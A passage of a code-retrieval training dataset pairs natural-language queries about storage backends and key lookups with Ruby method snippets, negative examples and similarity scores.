"0.63360393",
"0.6306765",
"0.62928927",
"0.62928927",
"0.6281774",
"0.62766117",
"0.62561965",
"0.62380517",
"0.62248784",
"0.6203946",
"0.6191856",
"0.6191856",
"0.6187191",
"0.6173038",
"0.6171107",
"0.6162311",
"0.612429",
"0.61156183",
"0.6110332",
"0.61011237",
"0.6094788",
"0.6080756",
"0.606892",
"0.60662186",
"0.6056802",
"0.60530436",
"0.6041113",
"0.6041113",
"0.6023272",
"0.6018691",
"0.6016593",
"0.6004424",
"0.60042334",
"0.6003624",
"0.6003624",
"0.6003624",
"0.6003624",
"0.5996388",
"0.59942555",
"0.59890133",
"0.5987353",
"0.5987353",
"0.5987353",
"0.5987353",
"0.59727955",
"0.5968941",
"0.59631616",
"0.5956464",
"0.5955801",
"0.59456533",
"0.5941931",
"0.5940977",
"0.59389687",
"0.59389687",
"0.5938023",
"0.5935546",
"0.5933781",
"0.5932128",
"0.59310573",
"0.5927596",
"0.5927596",
"0.5927292",
"0.5922575",
"0.5922575",
"0.59205854",
"0.5918995",
"0.5915031",
"0.5914449",
"0.59109527",
"0.59065723",
"0.5906184",
"0.5906136",
"0.58923274",
"0.5891869",
"0.58913654",
"0.5884393",
"0.58840084",
"0.58840084",
"0.58840084",
"0.58840084",
"0.58840084",
"0.58840084",
"0.58840084"
] |
0.8333738
|
0
|
Get the storage backend.
|
def executions
@storage_class.instance
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def get_storage_adapter\n @storage_adapter.new(storage_adapter_config)\n end",
"def primary_storage_adapter\n @storage_adapters.first\n end",
"def get_storage_class\n return @m_storage_class\n end",
"def storage_adapter\n @storage_adapter ||= begin\n all_adapters = storage_adapters\n raise UndefinedSetting, \"No storage adapters configured\" if all_adapters.empty?\n adapter = all_adapters.detect do |potential_adapter|\n potential_adapter.use?(storage)\n end\n raise UndefinedSetting, \"Storage is missing or not supported. Supported: #{all_adapters.map(&:display_name).join(', ')}\" unless adapter\n adapter\n end\n end",
"def storage_class\n @storage_class || storage_loader.storage_class\n end",
"def backend\n @backend ||= self.class.backend\n end",
"def driver\n storage_hash = get_api_node(['storage-pools', resource[:name]])\n driver = storage_hash['driver']\n return driver\n end",
"def storage\n @storage ||= Fog::Storage.new(storage_config)\n end",
"def storage\n Boom.storage\n end",
"def storage\n uploader.storage\n end",
"def current_storage\n @attributes[:current_storage]\n end",
"def storage_path\n return nil unless db.running?\n db.storage_path\n end",
"def backend\n @backend ||= Configurator.new(self, :backend)\n end",
"def storage_type\n @grpc.default_storage_type\n end",
"def storage(domain)\n host = vhost(domain)\n host ? host.storage : @null\n end",
"def storage_instance; end",
"def storage_adapter\n Valkyrie::StorageAdapter.find(:disk_via_copy)\n end",
"def storage_class\n raise NotImplementedError\n end",
"def storage\n @storage ||= in_memory\n end",
"def storage\n @storage ||= in_memory\n end",
"def storage\n @storage ||= in_memory\n end",
"def storage\n @storage ||= in_memory\n end",
"def storage\n @storage ||= in_memory\n end",
"def storage_get(storage_id)\n filters = []\n filters << { name: 'volume-id', values: [storage_id] }\n\n Backends::Ec2::Helpers::AwsConnectHelper.rescue_aws_service(@logger) do\n volumes = @ec2_client.describe_volumes(filters: filters).volumes\n volume = volumes ? volumes.first : nil\n return nil unless volume\n\n storage_parse_backend_obj(volume)\n end\n end",
"def active_backend\n SSHKit::Custom::Config::Store.active_backend\n end",
"def storage \n Trole::Storage::BaseOne\n end",
"def storage_type\n data[:storage_type]\n end",
"def storage_type\n data[:storage_type]\n end",
"def storage_name\n @storage_name || name\n end",
"def storage\n @plugins.detect { |p| p.is_a? BaseStorage }\n end",
"def default_backend\n attributes_class.defaults[:backend]\n end",
"def storage\n @_storage ||= in_memory\n end",
"def get_real_storage\n\n @application_context[:s_expression_storage__1]\n end",
"def backend_name\n self.class.name.split(\"::\")[-1].split(\"Store\")[0].downcase\n end",
"def storage_url\n self.auth_response[:storage_url]\n end",
"def get_fog_storage\n return Fog::Storage.new( :provider => 'AWS',\n :aws_access_key_id => CONFIG[:aws_access_key_id], \n :aws_secret_access_key => CONFIG[:aws_access_key],\n :region => \"us-east-1\" )\n end",
"def get_storage_module(config)\n return StorageMongo.new(config)\nend",
"def backend_name\n config['backend']\n end",
"def storage() @storage; end",
"def for backend\n registry[backend]\n end",
"def storage_type\n @dbi.storage_type\n end",
"def storage_type\n @dbi.storage_type\n end",
"def hashback_backend\n self.class.__send__(:class_variable_get, :@@_backend) \n end",
"def storage(domain)\n @config.storage(domain)\n end",
"def backend(value = nil)\n if value.is_a?(Symbol)\n require \"down/#{value}\"\n @backend = Down.const_get(value.to_s.split(\"_\").map(&:capitalize).join)\n elsif value\n @backend = value\n else\n @backend\n end\n end",
"def storage_location\n return @storage_location\n end",
"def storage(domain=nil)\n domain ? @config.vhosts[domain] : @storage\n end",
"def storages\n IbmCloudRest.get \"#{@uri}/storage\"\n end",
"def storage_issuer\n self.storage.service.credentials.issuer\n end",
"def storage_issuer\n self.storage.service.credentials.issuer\n end",
"def storages(type: nil)\n response = get(type && \"storage/#{type}\" || \"storage\")\n data = JSON.parse response.body\n data[\"storages\"][\"storage\"]\n end",
"def backend_klass; end",
"def storage_path\n File.join(\n SystemConfiguration.first.storage_path,\n url_part)\n end",
"def set_storage\n @storage = Storage.find(params[:id])\n end",
"def set_storage\n @storage = Storage.find(params[:id])\n end",
"def set_storage\n @storage = Storage.find(params[:id])\n end",
"def set_storage\n @storage = Storage.find(params[:id])\n end",
"def issuer\n self.storage_issuer\n end",
"def storage_config\n YAML.load_file(Rails.root.join('config', 'storage.yml'))[Rails.env]\n end",
"def storage\n Imgurr.storage\n end",
"def connection\n Fog::Storage.new provider: 'AWS'\n end",
"def storage_management(options = {})\n Azure::StorageManagement::StorageManagementService.new(default_client(options))\n end",
"def storage_path\n return Neo4j::Config.storage_path unless db.running?\n db.storage_path\n end",
"def set_storage\n @storage = Storage.find(params[:id])\n end",
"def service\n softlayer_client[:Network_Storage].object_with_id(self.id)\n end",
"def backend_instance\n if Rails.env.test?\n # turn off caching for tests\n @backend_instance = Backend.new(current_user)\n else\n @backend_instance ||= Backend.new(current_user)\n end\n end",
"def storage_participant\n engine.storage_participant\n end",
"def storage\n ManagedImage.variants_storage\n end",
"def storage_options; end",
"def lookup_storage(key)\n { memory: Storage::Memory, redis: Storage::Redis }[key]\n end",
"def storage?\n options[:storage]\n end",
"def storage=(storage = nil)\n if storage.nil?\n # set this to nil so that the DefaultStorageClient can take over.\n @storage = nil\n else\n @storage = ::Cache.wrap storage\n end\n end",
"def find_storage(name)\n storages.each { |key, value| return value if key.to_s == name.to_s }\n raise Error, \"storage #{name.inspect} isn't registered on #{self}\"\n end",
"def backing_store\n Attachment.backing_store(url)\n end",
"def filesystem\n platform_service(:filesystem)\n end",
"def store\n @store ||= storage.new self\n end",
"def get_extensions\n read_extensions 'storage', @options.model_extensions_dir\n end",
"def backend\n set_default_backend unless defined?(@backend)\n raise OEmbed::FormatNotSupported, :xml unless defined?(@backend)\n @backend\n end",
"def root_storage\n @attributes[:root_storage]\n end",
"def simpledb_type\n model.storage_name(DataMapper.repository.name)\n end",
"def find(short_name)\n storage_adapters[short_name]\n end",
"def current\n storage[0]\n end",
"def adapter_bucket\n \n unless @adapter_bucket\n raise 'Persistence port must be enabled first.'\n end\n \n return @adapter_bucket\n \n end",
"def storage\n require 'yaml/store'\n Storage[object_id] ||= YAML::Store.new(STORAGE_FILE)\n end",
"def show_storage\n\t\t\treturn @player_data_db.execute( \"select * from storage\" )\n\t\tend",
"def current\n fail NoInterfacesDefined if storage.empty?\n\n storage.first\n end",
"def platform\n backend.platform\n end",
"def connection\n @connection ||= Fog::Storage.new(@fog_options)\n end",
"def find(options = {})\n raise \"Unable to locate the storage named '#{options[:name]}'\" unless options[:id]\n response = Profitbricks.request :get_storage, \"<storageId>#{options[:id]}</storageId>\"\n Profitbricks::Storage.new(response.to_hash[:get_storage_response][:return])\n end",
"def get_size_unit_backend_compatible\n Preferences.current_size_unit_backend_compatible(current_user, cookies)\n end",
"def host\n active_backend.host\n end",
"def storage_names\n @storage_names\n end",
"def storage(arg=nil)\n set_or_return(:storage, arg, :kind_of => String)\n end",
"def backend\n # Hard-coded backend\n if @options[:backend]\n return OctocatalogDiff::CatalogUtil::ENC::Noop.new(@options) if @options[:backend] == :noop\n return OctocatalogDiff::CatalogUtil::ENC::PE.new(@options) if @options[:backend] == :pe\n return OctocatalogDiff::CatalogUtil::ENC::Script.new(@options) if @options[:backend] == :script\n raise ArgumentError, \"Unknown backend :#{@options[:backend]}\"\n end\n\n # Determine backend based on arguments\n return OctocatalogDiff::CatalogUtil::ENC::PE.new(@options) if @options[:pe_enc_url]\n return OctocatalogDiff::CatalogUtil::ENC::Script.new(@options) if @options[:enc]\n\n # At this point we do not know what backend to use for the ENC\n raise ArgumentError, 'Unable to determine ENC backend to use'\n end",
"def backend\n # Hard-coded backend\n if @options[:backend]\n return OctocatalogDiff::CatalogUtil::ENC::Noop.new(@options) if @options[:backend] == :noop\n return OctocatalogDiff::CatalogUtil::ENC::PE.new(@options) if @options[:backend] == :pe\n return OctocatalogDiff::CatalogUtil::ENC::Script.new(@options) if @options[:backend] == :script\n raise ArgumentError, \"Unknown backend :#{@options[:backend]}\"\n end\n\n # Determine backend based on arguments\n return OctocatalogDiff::CatalogUtil::ENC::PE.new(@options) if @options[:pe_enc_url]\n return OctocatalogDiff::CatalogUtil::ENC::Script.new(@options) if @options[:enc]\n\n # At this point we do not know what backend to use for the ENC\n raise ArgumentError, 'Unable to determine ENC backend to use'\n end",
"def default_storage_adapter=(adapter)\n unless storage_adapters.keys.include?(adapter)\n raise Exceptions::UnregisteredAdapterError, \"No Storage Adapter Registered for #{adapter}\"\n end\n @default_storage_adapter = adapter\n end",
"def default_backend\n case environment\n when 'production', 'staging'\n StatsD::Instrument::Backends::UDPBackend.new(ENV['STATSD_ADDR'], ENV['STATSD_IMPLEMENTATION'])\n when 'test'\n StatsD::Instrument::Backends::NullBackend.new\n else\n StatsD::Instrument::Backends::LoggerBackend.new(StatsD.logger)\n end\n end",
"def instance_persistence_bucket\n\n bucket_instance = nil\n \n encapsulation = ::CascadingConfiguration::Core::Encapsulation.encapsulation( :default )\n \n unless bucket_instance = encapsulation.get_configuration( self, :instance_persistence_bucket )\n self.instance_persistence_bucket = to_s\n bucket_instance = super\n end\n \n return bucket_instance\n \n end",
"def name()\n \"TestStorageHandler\"\n end",
"def adapter\n persisters.first.adapter\n end",
"def simpledb_type(model)\n model.storage_name(model.repository.name)\n end"
] |
[
"0.77251726",
"0.7467138",
"0.74582994",
"0.72835785",
"0.7185753",
"0.7181476",
"0.71424586",
"0.71167505",
"0.70165443",
"0.6839726",
"0.680899",
"0.677398",
"0.6758894",
"0.6743909",
"0.6729429",
"0.65895617",
"0.6554104",
"0.65475094",
"0.6519284",
"0.6519284",
"0.6505222",
"0.6505222",
"0.6505222",
"0.6494693",
"0.6489701",
"0.6481952",
"0.64688104",
"0.64688104",
"0.6454506",
"0.64199436",
"0.63703036",
"0.63213104",
"0.62691647",
"0.62501454",
"0.62363267",
"0.62263864",
"0.6219751",
"0.6216957",
"0.62161374",
"0.6173636",
"0.61264867",
"0.61264867",
"0.60979855",
"0.5992075",
"0.5986999",
"0.59763265",
"0.59755",
"0.59684515",
"0.5948621",
"0.5948621",
"0.5931506",
"0.59287846",
"0.5921397",
"0.5915836",
"0.5915836",
"0.5915836",
"0.5915836",
"0.5906591",
"0.5893963",
"0.58921313",
"0.5890903",
"0.5881564",
"0.58805513",
"0.5878248",
"0.5876448",
"0.5876199",
"0.5853172",
"0.5853165",
"0.5851938",
"0.5851761",
"0.5823713",
"0.58103865",
"0.58038783",
"0.5802019",
"0.57918596",
"0.5791778",
"0.5783751",
"0.5779171",
"0.57707864",
"0.57658523",
"0.5738269",
"0.5736747",
"0.5733046",
"0.5713661",
"0.5712894",
"0.57104856",
"0.569401",
"0.56896",
"0.56836987",
"0.56804836",
"0.5670431",
"0.5663912",
"0.5661964",
"0.5651949",
"0.5651949",
"0.56509155",
"0.5645938",
"0.56432635",
"0.56391567",
"0.56280035",
"0.561971"
] |
0.0
|
-1
|
Lookup storage class for a given options key
|
def lookup_storage(key)
{ memory: Storage::Memory, redis: Storage::Redis }[key]
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def options_for_key(klass, key_name)\n DoesKeyValue.log(\"State: Querying options_for_key for class:#{klass.to_s} and key:#{key_name}\")\n key_def = (@keys[klass.to_s] || Array.new).find{|x| x[:name]==key_name.to_sym} || {}\n opts = key_def[:options]\n end",
"def find(key)\n new(key: key, name: TYPES[key.to_sym]) if TYPES.has_key?(key.to_sym)\n end",
"def find_storage(name)\n storages.each { |key, value| return value if key.to_s == name.to_s }\n raise Error, \"storage #{name.inspect} isn't registered on #{self}\"\n end",
"def find(options = {})\n raise \"Unable to locate the storage named '#{options[:name]}'\" unless options[:id]\n response = Profitbricks.request :get_storage, \"<storageId>#{options[:id]}</storageId>\"\n Profitbricks::Storage.new(response.to_hash[:get_storage_response][:return])\n end",
"def find(short_name)\n storage_adapters[short_name]\n end",
"def options_for_class(klass)\n DoesKeyValue.log(\"State: Querying options_for_class for class:#{klass.to_s}\")\n @classes[klass.to_s] rescue {}\n end",
"def find_by_key(key, options = {})\n record = find_record_by_key(key, options)\n resource_for(record, options[:context])\n end",
"def get key\n storage[key]\n end",
"def get_by_key(key)\n @store_[key] || YakvdConstants.key_not_found\n end",
"def retrieve_store_class(store)\n # require_relative cannot be used here because the class might be\n # provided by another gem, like redis-activesupport for example.\n require \"active_support/cache/#{store}\"\n rescue LoadError => e\n raise \"Could not find cache store adapter for #{store} (#{e})\"\n else\n ActiveSupport::Cache.const_get(store.to_s.camelize)\n end",
"def find_class(key)\n klass_name = key.to_s.camelize\n klass = Mephisto::Plugins.const_get klass_name\n if klass < Mephisto::Plugin\n klass\n else\n raise NameError, \"Plugin class must subclass Mephisto::Plugin\"\n end\n end",
"def storage_class\n @storage_class || storage_loader.storage_class\n end",
"def get(klass, key)\n @cache[mapped_class(klass)][key]\n end",
"def cache_class(options={})\n @cache_class ||= {}\n return @cache_class[options[:cache] || self.cache] if @cache_class[options[:cache] || self.cache]\n \n @cache_class[options[:cache] || self.cache] = if self.cache\n Cache.const_get((options[:cache] || self.cache).to_s.gsub(/(?:^|_)(.)/) { $1.upcase })\n else\n Cache::NoCache\n end\n end",
"def [](key)\r\n self.class[key]\r\n end",
"def storage_key\n self.class.member_path(self[self.class.param_name])\n end",
"def lookup (key)\n\n if key.kind_of?(Class)\n @application_context.each do |k, value|\n return value if value.class == key\n end\n return nil\n end\n\n @application_context[key]\n end",
"def get_storage_class\n return @m_storage_class\n end",
"def load key\n hsh = cassandra_db.get(self.class_basename, key.to_s)\n from_db_hash(hsh) if hsh\n end",
"def find key_or_kind, id_or_name = nil\n key = key_or_kind\n unless key.is_a? Google::Cloud::Datastore::Key\n key = Key.new key_or_kind, id_or_name\n end\n find_all(key).first\n end",
"def get(args = {})\n # when argument is integer - search by id\n args = { id: args } if args.is_a?(Integer)\n\n #normalize input hash of arguments\n args = HashWithIndifferentAccess.new(args)\n\n klass = self.name.constantize\n if klass.valid_key?(args) && klass.exists?(args)\n klass.new_by_key(klass.generate_key(args))\n else\n nil\n end\n end",
"def storage_class\n raise NotImplementedError\n end",
"def find identifier\n @storage[identifier]\n end",
"def find _key\n _object = store.transaction(:read_only) { |s| s[prepare_key(_key)] }\n _object.send(:after_load) if _object\n _object\n end",
"def _pv_opts_lookup(opts, key)\n if opts.has_key?(key.to_s)\n opts[key.to_s]\n elsif opts.has_key?(key.to_sym)\n opts[key.to_sym]\n else\n nil\n end\n end",
"def get(key, options = {})\n if key.is_a? Array\n key = key[0]\n end\n if !key.nil? && key != '' && key != '.'\n key = key.chomp('/')\n if key.include? '/'\n dir = key + '/'\n ret = service.head_object(dir, options)\n new(key: key) if ret.data[:status] == 200\n else\n remap_attributes(options, {\n :delimiter => 'delimiter',\n :marker => 'marker',\n :max_keys => 'max-keys',\n :prefix => 'prefix'\n })\n data = service.get_bucket(key, options)\n directory = new(:key => data['Name'], :is_persisted => true)\n options = {}\n for k, v in data\n if ['CommonPrefixes', 'Delimiter', 'IsTruncated', 'Marker', 'MaxKeys', 'Prefix'].include?(k)\n # Sometimes, the v will be a Array, like \"Name\"=>[\"blobstore-droplet1\"], \"Prefix\"=>[{}], \"Marker\"=>[{}], \"MaxKeys\"=>[\"100\"], \"Delimiter\"=>[{}], \"IsTruncated\"=>[\"false\"]\n # and there needs to parse them\n if !v.nil? && (v.is_a? Array) && (v.size > 0)\n if v[0].is_a? Hash\n v = nil\n else\n v = v[0]\n end\n end\n options[k] = v\n end\n end\n directory.files.merge_attributes(options)\n if data.key?('Contents') && !data['Contents'].nil?\n directory.files.load(data['Contents'])\n end\n directory\n end\n else\n new(key: '')\n end\n rescue Fog::Storage::Aliyun::NotFound\n nil\n end",
"def get(key, options = nil)\n @hash[key]\n end",
"def get_by_redis_key(redis_key)\n if redis_key.is_a?(String)\n klass = self.name.constantize\n klass.new_by_key(redis_key)\n else\n nil\n end\n end",
"def validate(klass, options)\n valid_keys?(options) or raise Errors::InvalidStorageOptions.new(klass, options)\n end",
"def find_by_key(key)\n type, trail = decode_key(key)\n case type[0]\n when ?S\n ActiveSP::Site.new(self, trail[0] == \"\" ? @root_url : ::File.join(@root_url, trail[0]), trail[1].to_i)\n when ?L\n ActiveSP::List.new(find_by_key(trail[0]), trail[1])\n when ?U\n ActiveSP::User.new(root, trail[0])\n when ?G\n ActiveSP::Group.new(root, trail[0])\n when ?R\n ActiveSP::Role.new(root, trail[0])\n when ?A\n find_by_key(trail[0]).field(trail[1])\n when ?P\n ActiveSP::PermissionSet.new(find_by_key(trail[0]))\n when ?F\n list = find_by_key(trail[0])\n ActiveSP::Folder.new(list, trail[1])\n when ?I\n list = find_by_key(trail[0])\n ActiveSP::Item.new(list, trail[1])\n when ?T\n parent = find_by_key(trail[0])\n if ActiveSP::List === parent\n ActiveSP::ContentType.new(parent.site, parent, trail[1])\n else\n ActiveSP::ContentType.new(parent, nil, trail[1])\n end\n else\n raise \"not yet #{key.inspect}\"\n end\n end",
"def lookup_store(store = nil, *parameters)\n case store\n when Symbol\n options = parameters.extract_options!\n # clean this up once Ruby 2.7 support is dropped\n # see https://github.com/rails/rails/pull/41522#discussion_r581186602\n if options.empty?\n retrieve_store_class(store).new(*parameters)\n else\n retrieve_store_class(store).new(*parameters, **options)\n end\n when Array\n lookup_store(*store)\n when nil\n ActiveSupport::Cache::MemoryStore.new\n else\n store\n end\n end",
"def storage_pair(key)\n field = key.to_s\n name = aliases[field] || field\n [ name, serializers[name] ]\n end",
"def find_by_key(key)\n find_by_id(key) # backlog method looks exactly the same except for the parameter type\n end",
"def find(key, options = {})\n result = @cluster.client.fetch options.merge(bucket: @name, key: key)\n if result.content.length == 0\n nil\n elsif result.content.length > 1\n # Resolve siblings... some way\n else\n result\n end\n end",
"def key type\n make_key get_class(type)\n end",
"def lookup(key=nil)\n silo = self.lookup_silo_name\n dict = nil\n ActiveRecord::Base.benchmark(\"Lookup: #{silo}#{key.ergo{'#'+to_s}}\") do\n dict = self.fetch_object(silo){\n # FIXME Exceptions within this block are silently swallowed by something. This is bad.\n self.find(:all, self.lookup_opts).inject(Dictionary.new){|s,v| s[v.send(self.lookup_key)] = v; s}\n }\n end\n return key ? dict[key.with{kind_of?(Symbol) ? to_s : self}] : (dict.values || [])\n end",
"def get(key, default=nil)\n raise(ArgumentError, \"Argument 'key' must be a String or Symbol.\") unless key.is_a?(String) || key.is_a?(Symbol)\n # Alternative ways can be implemented here. (reading individual registry keys etc.)\n key = key.to_sym unless key.is_a?(Symbol)\n return (@options.include?(key)) ? @options[key] : default\nend",
"def vash_valid_key?(x); self.class.option_name?(x); end",
"def fetch(key, options = {})\n retries = 2 \n begin\n super\n rescue ArgumentError, NameError => exc \n if retries == 2\n if exc.message.match /undefined class\\/module (.+)$/\n $1.constantize\n end\n retries -= 1\n retry \n elsif retries == 1\n retries -= 1\n preload_models\n retry\n else \n raise exc\n end\n end\n end",
"def lookup(const_key)\n case\n when const_key.kind_of?(Numeric) then const_key\n when const_key.kind_of?(String) then const_key\n when const_key.kind_of?(Symbol) then\n if has_const?(const_key)\n value = consts[const_key]\n value.is_a?(Proc) ? value.call : value\n elsif proper_type_names.include?(const_key)\n class_for(:type, const_key).new\n elsif const_key.to_s =~ /vector$/\n Array.new\n end\n when const_key.kind_of?(Array) then\n if has_const?(const_key.first) and const_key.size == 2\n key, value =[const_key.first, const_key.last]\n consts[key][value]\n end\n when const_key.kind_of?(Proc) then\n const_key.call\n end\n end",
"def asset_class_lookup\n return ASSET_CLASS_LOOKUP\n end",
"def class_for assoc_name\n raise NotImplementedError\n end",
"def class_for assoc_name\n raise NotImplementedError\n end",
"def get(key, options = {})\n if !key.nil? && key != '' && key != '.'\n key = key.chomp('/')\n if key.include? '/'\n dir = key + '/'\n ret = service.head_object(dir, options)\n new(key: key) if ret.data[:status] == 200\n else\n data = service.get_bucket(key)\n if data.class == Hash && data.key?('Code') && !data['Code'].nil? && !data['Code'].empty?\n dir = key + '/'\n ret = service.head_object(dir, options)\n new(key: key) if ret.data[:status] == 200\n else\n new(key: '')\n end\n end\n else\n new(key: '')\n end\n rescue Fog::Storage::Aliyun::NotFound\n nil\n end",
"def find_by_key(key)\n by_key[key]\n end",
"def find_by_key(key)\n by_key[key]\n end",
"def lookup(key, default, scope, order_override, resolution_type)\n @backends ||= {}\n answer = nil\n\n Config[:backends].each do |backend|\n if constants.include?(\"#{backend.capitalize}_backend\")\n @backends[backend] ||= Backend.const_get(\"#{backend.capitalize}_backend\").new\n answer = @backends[backend].lookup(key, scope, order_override, resolution_type)\n\n break if answer\n end\n end\n\n answer = resolve_answer(answer, resolution_type) || parse_string(default, scope)\n\n return default if answer == empty_answer(resolution_type)\n return answer\n end",
"def lookup_store(store, options)\n if @logger\n @logger.warn \"Passing a Symbol as the 'store' is deprecated, please pass the cache store instead.\"\n end\n\n begin\n require 'active_support/cache'\n ActiveSupport::Cache.lookup_store(store, options)\n rescue LoadError => e\n puts \"You're missing the 'activesupport' gem. Add it to your Gemfile, bundle it and try again\"\n raise e\n end\n end",
"def method_missing(sym, *args, &block)\n return @klass_hash[sym.to_s]\n end",
"def option(key)\n option_set[key]\n end",
"def setting_for(key)\n ensure_config_loaded!\n setting_class.find_by_key(key.to_s)\n end",
"def initialize(storage_key)\n @storage = self.class.find_storage(storage_key)\n @storage_key = storage_key.to_sym\n end",
"def class_get class_name\n\t\t\t\t@monitor.synchronize do\n\t\t\t\t\tproviders.each do |p|\n\t\t\t\t\t\tbegin\n\t\t\t\t\t\t\treturn p.class_get(class_name) \n\t\t\t\t\t\trescue NotExist;\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\t\traise \"Class '#{class_name}' doesn't exist!\"\n\t\t\t\tend\n\t\t\tend",
"def get(key,classname='Entity')\n value = nil\n begin\n value = @store.get(key)\n rescue Exception => e\n GameMachine.logger.error(e.message+\"\\n\"+e.backtrace.join(\"\\n\"))\n return nil\n end\n\n return nil if value.nil?\n klass = class_cache(classname)\n\n if serialization == 'json'\n klass.parse_from_json(value)\n else\n klass.parse_from(value)\n end\n end",
"def get(key)\n @manager.retrieve(key)\n end",
"def lookup(key)\n\t\t\t\treturn(@keys[key])\n\t\t\tend",
"def lookup(key)\n\t\t\t\treturn(@keys[key])\n\t\t\tend",
"def find_class_or_module name\n @store.find_class_or_module name\n end",
"def opt\n @key\n end",
"def klass\n @options[:class].presence\n end",
"def model_from_options #nodoc\n @options[:class_name].nil? ? nil : @options[:class_name].constantize\n end",
"def get key\n deserialize backend.get key.to_s rescue nil\n end",
"def method_missing method_name, *arg\n if method_name.to_s =~ /(.*)=$/\n key = $1\n if @options.has_key? key\n @options[key] = arg[0]\n return @options[key]\n end\n else\n key = method_name.to_s\n if @options.has_key? key\n return @options[key]\n end\n end\n raise NoMethodError.new(\"undefined method `#{key}' for Options:Class\", \"unknown_key\")\n end",
"def fetch identifier\n @storage[identifier]\n end",
"def find_basic_type(key)\n BasicTypes[key] ? BasicTypes[key] : valid_class_name(key)\n end",
"def api_class(options={})\n @api_class ||= {}\n return @api_class[options[:api] || self.api] if @api_class[options[:api] || self.api]\n\n @api_class[options[:api] || self.api] = ExternalAPI.const_get((options[:api] || self.api).to_s.gsub(/(?:^|_)(.)/) { $1.upcase })\n end",
"def _get(key)\r\n\t\treturn _get_with_connection(@connection, @store_name, key, true)\r\n end",
"def class_name_from_options_object_or_class_name(class_name, options={})\n if options.has_key?(:object)\n options[:object].class\n else\n klass = class_name.to_s.classify.constantize\n end \n end",
"def [](key)\n\t\t\traise_on_undeclared(key)\n\t\t\treturn @storage[key]\n\t\tend",
"def lookup(key)\n @@registry[registry_key(key)]\n end",
"def opt(key)\n\n @conf.each do |type|\n\n container = (type == 'options' ? @options : workitem.send(type))\n k = type == 'fields' ? \"#{@field_prefix}#{key}\" : key\n\n return container[k] if container.has_key?(k)\n end\n\n nil\n end",
"def find\n self.class.find(self.version_key)\n end",
"def key?(key, options = {})\n load(key, options) != nil\n end",
"def find_by(id:)\n storage_adapters.values.find do |storage_adapter|\n storage_adapter.handles?(id: id)\n end.find_by(id: id)\n end",
"def lookup(path, options = nil)\n if actual_options?(options)\n @_assets.fetch([path, options].join('?'))\n else\n @_assets.fetch(path)\n end\n rescue KeyError\n nil\n end",
"def option\n return @manager.configurable.class.configuration.options[key]\n end",
"def service_class_for( entity_type )\n entity_map_cache[ entity_type.to_sym ]\n end",
"def key; @opts['key'] end",
"def get(type, key)\n dir = directory(type, key)\n return unless dir\n\n dir.files.get(key_component(type, key))\n end",
"def find_instance_in_class(class_constant, pk_hash)\n # @todo danielp 2013-07-05: technically, we could also use an array\n # lookup, but that is vulnerable to changes to the primary key of\n # a table. While those shouldn't be common, I don't mind the little\n # extra weight required to make this more robust without proof that it\n # poses some longer-term problem.\n pk_hash.is_a?(Hash) or\n raise MessageViolatesConsistencyChecks, _(\"instance ID is %{pk}, when Hash was expected\") % {pk: pk_hash.nil? ? 'nil' : pk_hash.class.name}\n\n # This is the recommended way to perform lookup according to the Sequel\n # docs, so we respect their wishes.\n class_constant[pk_hash]\n end",
"def key\n @key ||= case options.case\n when :lower_camel\n base_key.camelize(:lower)\n when :upper_camel\n base_key.camelize(:upper)\n when :snake\n base_key.underscore\n end\n end",
"def find_by_key(key)\n find_by('key', key)\n end",
"def [](key_name)\n return @options[key_name.to_s()]\n end",
"def fetch_object(bucket, key, options = {})\n result = bucket_data(bucket, options[:type])[:keys][key]\n raise ProtobuffsFailedRequest.new(:not_found, t('not_found')) unless result\n \n load_object(RObject.new(bucket, key), result)\n end",
"def provider_key_for(service_id)\n storage.get(storage_key(service_id, 'provider_key'.freeze))\n end",
"def fetch(key); end",
"def read_entry(key, options)\n @hash[key]\n end",
"def get_option(key)\n o = @grammar.get_locally_defined_option(key)\n if (!(o).nil?)\n return o\n end\n if (!(@parent).nil?)\n return @parent.get_option(key)\n end\n return nil # not found\n end",
"def lookup(locale, key, scope = T.unsafe(nil), options = T.unsafe(nil)); end",
"def read_entry(key, options)\n query = Google::Cloud::Datastore::Key.new @datastore_kind_name, key\n entities = dataset.lookup query\n return nil unless entities.any?\n entity = entities.first\n entry = deserialize_entry( entity[:_value], entity[:_format] )\n return entry\n end",
"def find_by_reference_key(class_name, record_id)\n find_by_reference_keys [class_name, record_id]\n end",
"def class_name\r\n assert_exists\r\n option_class_name\r\n end",
"def get_by_alias_key(alias_key)\n klass = self.name.constantize\n if RedisModelExtension::Database.redis {|r| r.exists(alias_key) }\n out = []\n RedisModelExtension::Database.redis {|r| r.smembers(alias_key) }.each do |key|\n item = klass.new_by_key(key)\n out << item if item\n end\n return out\n end\n nil\n end",
"def entry_class_name\n ensure_loaded { StorageRoom.entry_class_for_name(entry_type)}\n end",
"def key\n self.class.item_name\n end",
"def worker(key = :default, options = {})\n # Needs poor man's camelcase\n if key.is_a?(Symbol)\n key = key.to_s\n key[0,1] = key[0,1].upcase\n end\n worker = @crypt_workers_cache[key.to_sym]\n if worker.nil?\n worker_klass = key + \"Worker\"\n if EzCrypter.const_defined?(worker_klass)\n worker = nil\n worker = eval(\"worker = EzCrypter::#{worker_klass}.new(options)\")\n # puts \"worker class inst #{worker.class.name}\"\n else\n worker = EzCrypter::DefaultWorker.new(options)\n # puts \"worker class inst defaulted to #{worker.class.name}\"\n end\n @crypt_workers_cache[key.to_sym] = worker\n end\n worker\n end",
"def lookup(options)\n raise 'todo'\n end",
"def [](key)\n if key == \"provider\"\n return @provider\n end\n @hash[key]\n end",
"def get_option(hash, key)\n hash[key.to_sym] || hash[key] || nil\n end",
"def auto_genclass! opts = {}\n opts[:scope] ||= DmIsReflective\n opts[:storages] ||= /.*/\n opts[:storages] = [opts[:storages]].flatten\n\n storages.map{ |storage|\n\n mapped = opts[:storages].each{ |target|\n case target\n when Regexp;\n break storage if storage =~ target\n\n when Symbol, String;\n break storage if storage == target.to_s\n\n else\n raise ArgumentError.new(\"invalid argument: #{target.inspect}\")\n end\n }\n\n reflective_genclass(mapped, opts[:scope]) if mapped.kind_of?(String)\n }.compact\n end"
] |
[
"0.63969314",
"0.621456",
"0.61016005",
"0.60994947",
"0.5915228",
"0.5910758",
"0.58958244",
"0.5893286",
"0.5882253",
"0.58746964",
"0.5823028",
"0.58201146",
"0.57835674",
"0.5744583",
"0.5729365",
"0.5724295",
"0.56828845",
"0.5619652",
"0.5593931",
"0.557526",
